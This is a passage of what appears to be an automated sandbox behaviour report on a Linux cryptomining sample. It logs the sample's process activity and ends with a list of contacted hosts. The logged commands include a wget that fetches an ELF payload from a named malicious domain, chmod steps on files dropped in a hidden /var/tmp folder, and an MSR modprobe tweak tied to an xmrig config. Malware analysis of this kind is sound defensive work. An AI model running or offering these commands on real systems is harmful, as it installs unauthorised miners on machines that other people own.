Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Directory: /root/.xmrig.json Jump to behavior
Source: /usr/bin/cat (PID: 6283) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6298) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6309) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6317) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6327) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6333) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Source: /usr/bin/cat (PID: 6342) Directory: /var/tmp/.rcu_gp/.ps4 Jump to behavior
Enumerates processes within the "proc" file system
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/6231/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/6231/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1582/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1582/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/3088/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/3088/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/230/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/230/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/110/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/110/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/231/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/231/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/111/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/111/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/232/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/232/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1579/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1579/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/112/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/112/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/233/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/233/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1699/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1699/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/113/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/113/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/234/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/234/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1335/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1335/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1698/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1698/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/114/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/114/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/235/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/235/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1334/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1334/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1576/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1576/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2302/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2302/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/115/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/115/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/236/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/236/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/116/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/116/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/237/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/237/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/117/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/117/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/118/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/118/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/910/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/910/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/119/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/119/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/912/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/912/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/10/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/10/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2307/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2307/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/11/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/11/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/918/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/918/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/12/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/12/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/13/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/13/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/14/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/14/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/15/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/15/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/16/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/16/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/17/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/17/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/18/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/18/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1594/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1594/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/120/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/120/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/121/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/121/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1349/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1349/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/1/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/122/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/122/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/243/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/243/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/123/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/123/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/2/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/124/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/124/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/3/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/3/cmdline Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/4/status Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) File opened: /proc/4/cmdline Jump to behavior
Executes commands using a shell command-line interpreter
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6269) Shell command executed: sh -c "/sbin/modprobe msr allow_writes=on > /dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/bash (PID: 6239) Chmod executable: /usr/bin/chmod -> chmod +x .report_system Jump to behavior
Source: /bin/bash (PID: 6241) Chmod executable: /usr/bin/chmod -> chmod +x /var/tmp/.rcu_gp/diicot Jump to behavior
Executes the "grep" command used to find patterns in files or piped streams
Source: /bin/bash (PID: 6243) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6259) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6287) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6302) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6313) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6323) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6331) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Source: /bin/bash (PID: 6339) Grep executable: /usr/bin/grep -> grep -q .main Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/bash (PID: 6232) Mkdir executable: /usr/bin/mkdir -> mkdir /var/tmp/.rcu_gp Jump to behavior
Executes the "pgrep" command search for and/or send signals to processes
Source: /var/tmp/.rcu_gp/diicot (PID: 6256) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6285) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6300) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6311) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6319) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6329) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6335) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6344) Pgrep executable: /usr/bin/pgrep -> pgrep -x .report_system Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /bin/bash (PID: 6244) Rm executable: /usr/bin/rm -> rm -rf /var/tmp/.rcu_gp/.ps5 Jump to behavior
Source: /bin/bash (PID: 6253) Rm executable: /usr/bin/rm -> rm -rf /var/tmp/.rcu_gp/.ps5 Jump to behavior
Executes the "wget" command typically used for HTTP/S downloading
Source: /bin/bash (PID: 6233) Wget executable: /usr/bin/wget -> wget http://xkobeimparatu.net/.puscarie/.report_system -O .report_system Jump to behavior
Reads system information from the proc file system
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads from proc file: /proc/cpuinfo Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads from proc file: /proc/meminfo Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6263) Reads from proc file: /proc/meminfo Jump to behavior
Sample tries to set the executable flag
Source: /usr/bin/chmod (PID: 6239) File: /var/tmp/.rcu_gp/.report_system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6241) File: /var/tmp/.rcu_gp/diicot (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes ELF files to disk
Source: /usr/bin/wget (PID: 6233) File written: /var/tmp/.rcu_gp/.report_system Jump to dropped file
Writes shell script file to disk with an unusual file extension
Source: /bin/bash (PID: 6240) Writes shell script file to disk with an unusual file extension: /tmp/sh-thd.QhlKa3 Jump to dropped file
Source: /usr/bin/cat (PID: 6240) Writes shell script file to disk with an unusual file extension: /var/tmp/.rcu_gp/diicot Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops invisible ELF files
Source: /usr/bin/wget (PID: 6233) ELF file: /var/tmp/.rcu_gp/.report_system Jump to dropped file
Executes the "modprobe" command used for loading kernel modules
Source: /bin/sh (PID: 6270) Modprobe: /sbin/modprobe -> /sbin/modprobe msr allow_writes=on Jump to behavior
Executes the "sleep" command used to delay execution and potentially evade sandboxes
Source: /bin/bash (PID: 6245) Sleep executable: /usr/bin/sleep -> sleep 1 Jump to behavior
Source: /bin/bash (PID: 6248) Sleep executable: /usr/bin/sleep -> sleep 1 Jump to behavior
Source: /bin/bash (PID: 6249) Sleep executable: /usr/bin/sleep -> sleep 1 Jump to behavior
Source: /bin/bash (PID: 6251) Sleep executable: /usr/bin/sleep -> sleep 1 Jump to behavior
Source: /bin/bash (PID: 6260) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6288) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6303) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6314) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6324) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6332) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Source: /bin/bash (PID: 6340) Sleep executable: /usr/bin/sleep -> sleep 2.5 Jump to behavior
Reads CPU information from /proc indicative of miner or evasive malware
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from proc file: /proc/cpuinfo Jump to behavior
Reads CPU information from /sys indicative of miner or evasive malware
Source: /usr/bin/pgrep (PID: 6256) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/core_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/die_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/package_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/topology/physical_package_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index1/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/core_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/die_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/package_cpus Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/topology/physical_package_id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index0/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index1/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index2/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/shared_cpu_map Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/level Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/type Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/id Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/coherency_line_size Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/number_of_sets Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/cpu1/cache/index3/physical_line_partition Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Reads CPU info from /sys: /sys/devices/system/cpu/possible Jump to behavior
Source: /usr/bin/pgrep (PID: 6285) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6300) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6311) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6319) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6329) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6335) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Source: /usr/bin/pgrep (PID: 6344) Reads CPU info from /sys: /sys/devices/system/cpu/online Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/.main.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: /bin/bash (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: /tmp/.main.elf (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: /bin/bash (PID: 6231) Queries kernel information via 'uname': Jump to behavior
Source: /usr/bin/wget (PID: 6233) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6255) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6257) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/./.report_system (PID: 6263) Queries kernel information via 'uname': Jump to behavior
Source: /sbin/modprobe (PID: 6270) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6284) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6299) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6310) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6318) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6328) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6334) Queries kernel information via 'uname': Jump to behavior
Source: /var/tmp/.rcu_gp/diicot (PID: 6343) Queries kernel information via 'uname': Jump to behavior
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.184.240.129
 xkobeproxy.xkobeimparatu.net Russian Federation
41745 IPNET-RUSSIA-ASRU true
66.63.187.195
 xkobeimparatu.net United States
8100 ASN-QUADRANET-GLOBALUS false
109.202.202.202
 unknown Switzerland
13030 INIT7CH false
91.189.91.43
 unknown United Kingdom
41231 CANONICAL-ASGB false
91.189.91.42
 unknown United Kingdom
41231 CANONICAL-ASGB false

Contacted Domains

Name IP Active
xkobeproxy.xkobeimparatu.net 91.184.240.129 true
xkobeimparatu.net 66.63.187.195 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://xkobeimparatu.net/.puscarie/.report_system false
    		unknown